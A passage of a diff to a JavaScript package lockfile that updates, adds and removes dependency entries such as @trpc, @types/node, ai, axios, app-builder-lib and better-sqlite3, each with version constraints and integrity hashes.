"dependencies": { "debug": "^4.4.3", "token-types": "^6.1.1" } }, "sha512-2mAv+8pkG6GIZiF1kNg1jAjh27IDxEPKwdGul3snfztFerfPGI1LjDezZp3i7BElXompqEtPmoPx6c2wgtWsOA=="], "@tokenizer/token": ["@tokenizer/token@0.3.0", "", {}, "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A=="], - "@trivago/prettier-plugin-sort-imports": ["@trivago/prettier-plugin-sort-imports@6.0.2", "", { "dependencies": { "@babel/generator": "^7.28.0", "@babel/parser": "^7.28.0", "@babel/traverse": "^7.28.0", "@babel/types": "^7.28.0", "javascript-natural-sort": "^0.7.1", "lodash-es": "^4.17.21", "minimatch": "^9.0.0", "parse-imports-exports": "^0.2.4" }, "peerDependencies": { "@vue/compiler-sfc": "3.x", "prettier": "2.x - 3.x", "prettier-plugin-ember-template-tag": ">= 2.0.0", "prettier-plugin-svelte": "3.x", "svelte": "4.x || 5.x" }, "optionalPeers": ["@vue/compiler-sfc", "prettier-plugin-ember-template-tag", "prettier-plugin-svelte", "svelte"] }, "sha512-3DgfkukFyC/sE/VuYjaUUWoFfuVjPK55vOFDsxD56XXynFMCZDYFogH2l/hDfOsQAm1myoU/1xByJ3tWqtulXA=="], + "@trpc/client": ["@trpc/client@11.19.0", "", { "peerDependencies": { "@trpc/server": "11.19.0", "typescript": ">=5.7.2" }, "bin": { "intent": "bin/intent.js" } }, "sha512-0MKkPq6MejsKB5Opca1Rl22KVIaqo2+A1EiXyZ8EGUsl9TLrPdpGn+Usux20TZKFwnSC2+wI/WilqNJaP4ODfw=="], - "@trpc/client": ["@trpc/client@11.11.0", "", { "peerDependencies": { "@trpc/server": "11.11.0", "typescript": ">=5.7.2" } }, "sha512-tIPeetFO8GT/o0In+Lk5JA3f29m8qCBSaKNatQdAx6BOfZFjpqHOaoAsCmE/MdUu9AVhPRPorcoqUlZUdDc5gA=="], + "@trpc/react-query": ["@trpc/react-query@11.19.0", "", { "peerDependencies": { "@tanstack/react-query": "^5.80.3", "@trpc/client": "11.19.0", "@trpc/server": "11.19.0", "react": ">=18.2.0", "typescript": ">=5.7.2" } }, "sha512-TrqZBa/6weXX27mf0P2dMCI65duqO3B/wf9BkP1MezUWSUg7SRGJrIv6K8vjgjeHdafFBI1mmcqPEYXHF4AlVQ=="], - "@trpc/react-query": ["@trpc/react-query@11.11.0", "", { "peerDependencies": { "@tanstack/react-query": "^5.80.3", "@trpc/client": "11.11.0", "@trpc/server": "11.11.0", "react": ">=18.2.0", "typescript": ">=5.7.2" } }, "sha512-zAZj4Pj6ZuMWZ2JG1nZ1GWQGH14SrkDYgIsQQH2az++Zig58bPk9E+EcAUnHL/zdYp74qDXlABQB2vMU/oDipg=="], + "@trpc/server": ["@trpc/server@11.19.0", "", { "peerDependencies": { "typescript": ">=5.7.2" }, "bin": { "intent": "bin/intent.js" } }, "sha512-7C1goiDurz82yFKtZUbEzjXd0Rg/jyisaIZQhdvus+1l7E6mwcEYZXjZ1US/HF8kOyz1LERL8UN3bcboJtjcyQ=="], - "@trpc/server": ["@trpc/server@11.11.0", "", { "peerDependencies": { "typescript": ">=5.7.2" } }, "sha512-5CBK5Oit8qv2k2zgIHrUsa12tnCIVpZIJLvMa4n2tejuWz/d7Qb1B1v9zZioapr7y8sEvnk8zPcNnxcT2LlQxg=="], - - "@types/better-sqlite3": ["@types/better-sqlite3@7.6.13", "", { "dependencies": { "@types/node": "*" } }, "sha512-NMv9ASNARoKksWtsq/SHakpYAYnhBrQgGD8zkLYk/jaK8jUGn08CfEdTRgYhMypUQAfzSP8W6gNLe0q19/t4VA=="], + "@types/better-sqlite3": ["@types/better-sqlite3@9.6.0", "", { "dependencies": { "@types/node": "*" } }, "sha512-ZEEwBSgMu7GYJOynoagg5X9JbxfL6dTJDsgViJIqh67jV44kyOr9RXfmFjLK5rzC4MWssP06t9hu/JwGDnUbCg=="], "@types/cacheable-request": ["@types/cacheable-request@6.0.3", "", { "dependencies": { "@types/http-cache-semantics": "*", "@types/keyv": "^3.1.4", "@types/node": "*", "@types/responselike": "^1.0.0" } }, "sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw=="], @@ -999,29 +869,25 @@ "@types/keyv": ["@types/keyv@3.1.4", "", { "dependencies": { "@types/node": "*" } }, "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg=="], - "@types/linkify-it": ["@types/linkify-it@5.0.0", "", {}, "sha512-sVDA58zAw4eWAffKOaQH5/5j3XeayukzDk+ewSsnv3p4yJEZHCCzMDiZM8e0OUrRvmpGZ85jf4yDHkHsgBNr9Q=="], - - "@types/markdown-it": ["@types/markdown-it@14.1.2", "", { "dependencies": { "@types/linkify-it": "^5", "@types/mdurl": "^2" } }, "sha512-promo4eFwuiW+TfGxhi+0x3czqTYJkG8qB17ZUJiVF10Xm7NLVRSLUsfRTU/6h1e24VvRnXCx+hG7li58lkzog=="], - "@types/mdast": ["@types/mdast@4.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA=="], - "@types/mdurl": ["@types/mdurl@2.0.0", "", {}, "sha512-RGdgjQUZba5p6QEFAVx2OGb8rQDL/cPRG7GiedRzMcJ1tYnUANBncjbSB1NRGwbvjcPeikRABz2nshyPk1bhWg=="], - "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], - "@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="], + "@types/node": ["@types/node@24.19.1", "", { "dependencies": { "undici-types": ">=7.24.0 <7.24.7" } }, "sha512-aS3/DG0oM05K0RIXXP+hKjinGG5IgSSVGzswZxW3O0sS3pH4/fycXundUC9XsszgKCk4gHXylTEK6hyFxVxnoQ=="], - "@types/pg": ["@types/pg@8.18.0", "", { "dependencies": { "@types/node": "*", "pg-protocol": "*", "pg-types": "^2.2.0" } }, "sha512-gT+oueVQkqnj6ajGJXblFR4iavIXWsGAFCk3dP4Kki5+a9R4NMt0JARdk6s8cUKcfUoqP5dAtDSLU8xYUTFV+Q=="], + "@types/pg": ["@types/pg@8.23.1", "", { "dependencies": { "@types/node": "*", "pg-protocol": "*", "pg-types": "^2.2.0" } }, "sha512-fKVHpikPdg4GKks3JuLEhvwSyvwzF23hnabPy6DD8ljVbC7+6J5dQzdv4arV6jqq57djnMgs1HKBxX4P8aBI3A=="], "@types/plist": ["@types/plist@3.0.5", "", { "dependencies": { "@types/node": "*", "xmlbuilder": ">=11.0.1" } }, "sha512-E6OCaRmAe4WDmWNsL/9RMqdkkzDCY1etutkflWk4c+AcjDU07Pcz1fQwTX0TQz+Pxqn9i4L1TU3UFpjnrcDgxA=="], - "@types/react": ["@types/react@19.2.14", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w=="], + "@types/react": ["@types/react@19.3.0", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-N0rFCuH9YoxG9/m61l9MfpJKfmLOVU0em7ipIz6TRgSSkvReLB9vL85GB+yr8Bs5leqpvg96JSwF4ZS1s4viQg=="], - "@types/react-dom": ["@types/react-dom@19.2.3", "", { "peerDependencies": { "@types/react": "^19.2.0" } }, "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ=="], + "@types/react-dom": ["@types/react-dom@19.3.0", "", { "peerDependencies": { "@types/react": "^19.3.0" } }, "sha512-ZI7bU42mZXXKHn/qNLEw2IrbiINU7X5+vfgdixBHkCNpYWXjKgfQ/P+uyGb5CjOLB9UcnTeg3rylQtV2hym44Q=="], "@types/responselike": ["@types/responselike@1.0.3", "", { "dependencies": { "@types/node": "*" } }, "sha512-H/+L+UkTV33uf49PH5pCAUBVPNj2nDBXTN+qS1dOwyyg24l3CcicicCA7ca+HMvJBZcFgl5r8e+RR6elsb4Lyw=="], - "@types/retry": ["@types/retry@0.12.0", "", {}, "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA=="], + "@types/retry": ["@types/retry@0.12.5", "", {}, "sha512-3xSjTp3v03X/lSQLkczaN9UIEwJMoMCA1+Nb5HfbJEQWogdeQIyVtTvxPXDQjZ5zws8rFQfVfRdz03ARihPJgw=="], + + "@types/semver": ["@types/semver@7.8.0", "", {}, "sha512-1mAINjtQCXXeLkJ9ehXkwOcBpqtLxiVtKhpUf83DdRNdQKV0iXZpaHYqRr7nj+wvxuJzoAmAwXI+sCNMv1CzLQ=="], "@types/turndown": ["@types/turndown@5.0.6", "", {}, "sha512-ru00MoyeeouE5BX4gRL+6m/BsDfbRayOskWqUvh7CLGW+UXxHQItqALa38kKnOiZPqJrtzJUgAC2+F0rL1S4Pg=="], @@ -1035,11 +901,11 @@ "@types/whatwg-url": ["@types/whatwg-url@13.0.0", "", { "dependencies": { "@types/webidl-conversions": "*" } }, "sha512-N8WXpbE6Wgri7KUSvrmQcqrMllKZ9uxkYWMt+mCSGwNc0Hsw9VQTW7ApqI4XNrx6/SaM2QQJCzMPDEXE058s+Q=="], - "@types/yauzl": ["@types/yauzl@2.10.3", "", { "dependencies": { "@types/node": "*" } }, "sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q=="], - "@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="], - "@vercel/oidc": ["@vercel/oidc@3.1.0", "", {}, "sha512-Fw28YZpRnA3cAHHDlkt7xQHiJ0fcL+NRcIqsocZQUSmbzeIKRpwttJjik5ZGanXP+vlA4SbTg+AbA3bP363l+w=="], + "@vercel/oidc": ["@vercel/oidc@3.2.0", "", {}, "sha512-UycprH3T6n3jH0k44NHMa7pnFHGu/N05MjojYr+Mc6I7obkoLIJujSWwin1pCvdy/eOxrI/l3uDLQsmcrOb4ug=="], + + "@workflow/serde": ["@workflow/serde@4.1.0", "", {}, "sha512-pav4F2BoirECWR7Nf1TKt+2eETcBj7jj4cBefQ8VXQCA6NPkaKeLfj/zMgi+3zYV5ZIBT4GuUiphsj0/b9hPQQ=="], "@xmldom/xmldom": ["@xmldom/xmldom@0.8.11", "", {}, "sha512-cQzWCtO6C8TQiYl1ruKNn2U6Ao4o4WBBcbL61yJl84x+j5sOWWFU9X7DpND8XZG3daDppSsigMdfAIl2upQBRw=="], @@ -1047,33 +913,37 @@ "@xterm/xterm": ["@xterm/xterm@6.0.0", "", {}, "sha512-TQwDdQGtwwDt+2cgKDLn0IRaSxYu1tSUjgKarSDkUM0ZNiSRXFpjxEsvc/Zgc5kq5omJ+V0a8/kIM2WD3sMOYg=="], - "abbrev": ["abbrev@3.0.1", "", {}, "sha512-AO2ac6pjRB3SJmGJo+v5/aK6Omggp6fsLrs6wN9bd35ulu4cCwaAU9+7ZhXjeqHVkaHThLuzH0nZr0YpCDhygg=="], + "abbrev": ["abbrev@4.0.0", "", {}, "sha512-a1wflyaL0tHtJSmLSOVybYhy22vRih4eduhhrkcjgrWGnRfrZtovJ2FRjxuTtkkj47O/baf0R86QU5OuYpz8fA=="], + + "accepts": ["accepts@2.0.0", "", { "dependencies": { "mime-types": "^3.0.0", "negotiator": "^1.0.0" } }, "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng=="], "adler-32": ["adler-32@1.3.1", "", {}, "sha512-ynZ4w/nUUv5rrsR8UUGoe1VC9hZj6V5hU9Qw1HlMDJGEJw5S7TfTErWTjMys6M7vr0YWcPqs3qAr4ss0nDfP+A=="], "agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="], - "ai": ["ai@6.0.116", "", { "dependencies": { "@ai-sdk/gateway": "3.0.66", "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.19", "@opentelemetry/api": "1.9.0" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-7yM+cTmyRLeNIXwt4Vj+mrrJgVQ9RMIW5WO0ydoLoYkewIvsMcvUmqS4j2RJTUXaF1HphwmSKUMQ/HypNRGOmA=="], + "ai": ["ai@7.0.130", "", { "dependencies": { "@ai-sdk/gateway": "4.0.106", "@ai-sdk/provider": "4.0.24", "@ai-sdk/provider-utils": "5.0.56" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-QkBkCogl46jXUg0SrSsdqQlOI2ZVMCjfnbBQS8t3gE21U/SO17oNMVFyjmcC9z20wOoYUA+2O2vsso0maoS7dw=="], "ajv": ["ajv@8.18.0", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A=="], - "ajv-keywords": ["ajv-keywords@3.5.2", "", { "peerDependencies": { "ajv": "^6.9.1" } }, "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ=="], + "ajv-formats": ["ajv-formats@3.0.1", "", { "dependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="], - "ansi-escapes": ["ansi-escapes@7.3.0", "", { "dependencies": { "environment": "^1.0.0" } }, "sha512-BvU8nYgGQBxcmMuEeUEmNTvrMVjJNSH7RgW24vXexN4Ven6qCvy4TntnvlnwnMLTVlcRQQdbRY8NKnaIoeWDNg=="], + "ajv-keywords": ["ajv-keywords@3.5.2", "", { "peerDependencies": { "ajv": "^6.9.1" } }, "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ=="], - "ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + "ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], "ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="], "app-builder-bin": ["app-builder-bin@5.0.0-alpha.12", "", {}, "sha512-j87o0j6LqPL3QRr8yid6c+Tt5gC7xNfYo6uQIQkorAC6MpeayVMZrEDzKmJJ/Hlv7EnOQpaRm53k6ktDYZyB6w=="], - "app-builder-lib": ["app-builder-lib@26.8.1", "", { "dependencies": { "@develar/schema-utils": "~2.6.5", "@electron/asar": "3.4.1", "@electron/fuses": "^1.8.0", "@electron/get": "^3.0.0", "@electron/notarize": "2.5.0", "@electron/osx-sign": "1.3.3", "@electron/rebuild": "^4.0.3", "@electron/universal": "2.0.3", "@malept/flatpak-bundler": "^0.4.0", "@types/fs-extra": "9.0.13", "async-exit-hook": "^2.0.1", "builder-util": "26.8.1", "builder-util-runtime": "9.5.1", "chromium-pickle-js": "^0.2.0", "ci-info": "4.3.1", "debug": "^4.3.4", "dotenv": "^16.4.5", "dotenv-expand": "^11.0.6", "ejs": "^3.1.8", "electron-publish": "26.8.1", "fs-extra": "^10.1.0", "hosted-git-info": "^4.1.0", "isbinaryfile": "^5.0.0", "jiti": "^2.4.2", "js-yaml": "^4.1.0", "json5": "^2.2.3", "lazy-val": "^1.0.5", "minimatch": "^10.0.3", "plist": "3.1.0", "proper-lockfile": "^4.1.2", "resedit": "^1.7.0", "semver": "~7.7.3", "tar": "^7.5.7", "temp-file": "^3.4.0", "tiny-async-pool": "1.3.0", "which": "^5.0.0" }, "peerDependencies": { "dmg-builder": "26.8.1", "electron-builder-squirrel-windows": "26.8.1" } }, "sha512-p0Im/Dx5C4tmz8QEE1Yn4MkuPC8PrnlRneMhWJj7BBXQfNTJUshM/bp3lusdEsDbvvfJZpXWnYesgSLvwtM2Zw=="], + "app-builder-lib": ["app-builder-lib@26.17.0", "", { "dependencies": { "@electron/asar": "3.4.1", "@electron/fuses": "^1.8.0", "@electron/get": "^3.0.0", "@electron/notarize": "2.5.0", "@electron/osx-sign": "1.3.3", "@electron/rebuild": "^4.0.4", "@electron/universal": "2.0.3", "@malept/flatpak-bundler": "^0.4.0", "@noble/hashes": "^1.8.0", "@peculiar/webcrypto": "^1.7.1", "@types/fs-extra": "9.0.13", "ajv": "^8.18.0", "asn1js": "^3.0.10", "async-exit-hook": "^2.0.1", "builder-util": "26.16.0", "builder-util-runtime": "9.7.0", "chromium-pickle-js": "^0.2.0", "ci-info": "4.3.1", "debug": "^4.3.4", "dotenv": "^16.4.5", "dotenv-expand": "^11.0.6", "ejs": "^3.1.8", "electron-publish": "26.16.0", "fs-extra": "^10.1.0", "hosted-git-info": "^4.1.0", "isbinaryfile": "^5.0.0", "jiti": "^2.4.2", "js-yaml": "^4.1.0", "json5": "^2.2.3", "lazy-val": "^1.0.5", "minimatch": "^10.2.5", "pkijs": "^3.4.0", "plist": "3.1.0", "proper-lockfile": "^4.1.2", "resedit": "^1.7.0", "semver": "~7.7.3", "tar": "^7.5.7", "temp-file": "^3.4.0", "tiny-async-pool": "1.3.0", "unzipper": "^0.12.3", "which": "^5.0.0" }, "peerDependencies": { "dmg-builder": "26.17.0", "electron-builder-squirrel-windows": "26.17.0" } }, "sha512-wfL7EhujuODDW3uMSD8RPcr/MLzmT0dmpVfWV0wFUWXI0rIdaukzAJ7EFUSyHXOpxuBZqaIGlQt6VeQhtHhetw=="], "argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="], + "argue-cli": ["argue-cli@3.2.0", "", {}, "sha512-VipTB0gXgGIFO2Rg9yEVN5wLt2AurJcZqDbgmYSwPwsykhLrQhs240/bfceev4w68lI8JshoOJIk9uW7tFzROw=="], + "aria-hidden": ["aria-hidden@1.2.6", "", { "dependencies": { "tslib": "^2.0.0" } }, "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA=="], - "array-ify": ["array-ify@1.0.0", "", {}, "sha512-c5AMf34bKdvPhQ7tBGhqkgKNUzMr4WUs+WDtC2ZUGOUncbxKMTvqxYctiseW3+L4bA8ec+GcZ6/A/FW4m8ukng=="], + "asn1js": ["asn1js@3.0.10", "", { "dependencies": { "pvtsutils": "^1.3.6", "pvutils": "^1.1.5", "tslib": "^2.8.1" } }, "sha512-S2s3aOytiKdFRdulw2qPE51MzjzVOisppcVv7jVFR+Kw0kxwvFrDcYA0h7Ndqbmj0HkMIXYWaoj7fli8kgx1eg=="], "assert-plus": ["assert-plus@1.0.0", "", {}, "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw=="], @@ -1089,37 +959,41 @@ "aws-ssl-profiles": ["aws-ssl-profiles@1.1.2", "", {}, "sha512-NZKeq9AfyQvEeNlN0zSYAaWrmBffJh3IELMZfRpJVWgrpEbtEpnjvzqBPf+mxoI287JohRDoa+/nsfqqiZmF6g=="], + "aws4": ["aws4@1.13.2", "", {}, "sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw=="], + "aws4fetch": ["aws4fetch@1.0.20", "", {}, "sha512-/djoAN709iY65ETD6LKCtyyEI04XIBP5xVvfmNxsEP0uJB5tyaGBztSryRr4HqMStr9R06PisQE7m9zDTXKu6g=="], - "axios": ["axios@1.13.6", "", { "dependencies": { "follow-redirects": "^1.15.11", "form-data": "^4.0.5", "proxy-from-env": "^1.1.0" } }, "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ=="], + "axios": ["axios@1.20.0", "", { "dependencies": { "follow-redirects": "^1.16.0", "form-data": "^4.0.6", "https-proxy-agent": "^5.0.1", "proxy-from-env": "^2.1.0" } }, "sha512-r8aOh8j9cGKpgQAqpzrUHnSIc6a59Y3Xf/cv8sy1DrHCkZHzQGEuoq1tARk6qSyDdtQGSDgpb9kFlruzPvrgwg=="], "bail": ["bail@2.0.2", "", {}, "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw=="], - "balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + "balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="], "base64-js": ["base64-js@1.5.1", "", {}, "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="], + "baseline-browser-mapping": ["baseline-browser-mapping@2.11.27", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-ElY12DaROGuan+lMmZ8Cvo/ZUbXPe7Enc/9VU/b1T3Kp4dwytRcNdR8DoSJN5SNJT/CuvcCA0DHDVmMOCePdRQ=="], + "before-after-hook": ["before-after-hook@4.0.0", "", {}, "sha512-q6tR3RPqIB1pMiTRMFcZwuG5T8vwp+vUvEG0vuI6B+Rikh5BfPp2fQ82c925FOs+b0lcFQ8CFrL+KbilfZFhOQ=="], - "better-sqlite3": ["better-sqlite3@12.6.2", "", { "dependencies": { "bindings": "^1.5.0", "prebuild-install": "^7.1.1" } }, "sha512-8VYKM3MjCa9WcaSAI3hzwhmyHVlH8tiGFwf0RlTsZPWJ1I5MkzjiudCo4KC4DxOaL/53A5B1sI/IbldNFDbsKA=="], + "better-sqlite3": ["better-sqlite3@13.0.3", "", { "dependencies": { "node-addon-api": "^8.0.0" } }, "sha512-RbOBxmLBG8uvFUc15X9+9SFemKcQ0WBuISBVkpuiaUB2qblC8UWlHEjdWVoZ8AdhSwmoEgsiXKfopX0CQxaACQ=="], "bignumber.js": ["bignumber.js@9.3.1", "", {}, "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ=="], - "bindings": ["bindings@1.5.0", "", { "dependencies": { "file-uri-to-path": "1.0.0" } }, "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ=="], - "bl": ["bl@4.1.0", "", { "dependencies": { "buffer": "^5.5.0", "inherits": "^2.0.4", "readable-stream": "^3.4.0" } }, "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w=="], - "bluebird": ["bluebird@3.4.7", "", {}, "sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA=="], + "bluebird": ["bluebird@3.7.2", "", {}, "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg=="], "bmp-js": ["bmp-js@0.1.0", "", {}, "sha512-vHdS19CnY3hwiNdkaqk93DvjVLfbEcI8mys4UjuWrlX1haDmroo8o4xCzh4wD6DGV6HxRCyauwhHRqMTfERtjw=="], + "body-parser": ["body-parser@2.3.0", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^2.0.0", "debug": "^4.4.3", "http-errors": "^2.0.1", "iconv-lite": "^0.7.2", "on-finished": "^2.4.1", "qs": "^6.15.2", "raw-body": "^3.0.2", "type-is": "^2.1.0" } }, "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw=="], + "boolean": ["boolean@3.2.0", "", {}, "sha512-d0II/GO9uf9lfUHH2BQsjxzRJZBdsjgsBiW4BvhWk/3qoKwQFjIDVN19PfX8F2D/r9PCMTtLWjYVCFrpeYUzsw=="], - "border-beam": ["border-beam@1.0.1", "", { "peerDependencies": { "react": ">=18.0.0", "react-dom": ">=18.0.0" } }, "sha512-kswSYT8zRmt5en+wZMtJAbM8RjJglqSKwyRuQZWXnMHQsBwJisaznTfhD8SWvWJZKAtGbSkE2q/wY7seiNDmcw=="], + "border-beam": ["border-beam@1.4.1", "", { "peerDependencies": { "react": ">=18.0.0", "react-dom": ">=18.0.0" } }, "sha512-YyugmKjrhkg1PBC1ZKX7JvFo/zYzha6NXOq24VWrnvBYmDRvGCgFS9oxZoKJ+oS9Kn436l1etYGlAdGiWK+3ag=="], - "brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], + "brace-expansion": ["brace-expansion@5.0.12", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-YovQ3rzhaLMIrDjNDMkNS01tea93qhEhG5xy8f6+R0l+dw3Ki+5sCoIoI942iuLZTHWogWktgwVDhU09iNEimQ=="], - "bson": ["bson@7.2.0", "", {}, "sha512-YCEo7KjMlbNlyHhz7zAZNDpIpQbd+wOEHJYezv0nMYTn4x31eIUM2yomNNubclAt63dObUzKHWsBLJ9QcZNSnQ=="], + "bson": ["bson@7.3.3", "", {}, "sha512-oz3LwE3qGEhTCSyhzQRLY3Bj1NLOsjFMf6tcmY5J8M+3R7EVcmoBfSHWvjUK3yXCLDUsGpIuB3aQL4nDZ1EV/g=="], "buffer": ["buffer@5.7.1", "", { "dependencies": { "base64-js": "^1.3.1", "ieee754": "^1.1.13" } }, "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ=="], @@ -1129,9 +1003,13 @@ "buffer-from": ["buffer-from@1.1.2", "", {}, "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ=="], - "builder-util": ["builder-util@26.8.1", "", { "dependencies": { "7zip-bin": "~5.2.0", "@types/debug": "^4.1.6", "app-builder-bin": "5.0.0-alpha.12", "builder-util-runtime": "9.5.1", "chalk": "^4.1.2", "cross-spawn": "^7.0.6", "debug": "^4.3.4", "fs-extra": "^10.1.0", "http-proxy-agent": "^7.0.0", "https-proxy-agent": "^7.0.0", "js-yaml": "^4.1.0", "sanitize-filename": "^1.6.3", "source-map-support": "^0.5.19", "stat-mode": "^1.0.0", "temp-file": "^3.4.0", "tiny-async-pool": "1.3.0" } }, "sha512-pm1lTYbGyc90DHgCDO7eo8Rl4EqKLciayNbZqGziqnH9jrlKe8ZANGdityLZU+pJh16dfzjAx2xQq9McuIPEtw=="], + "builder-util": 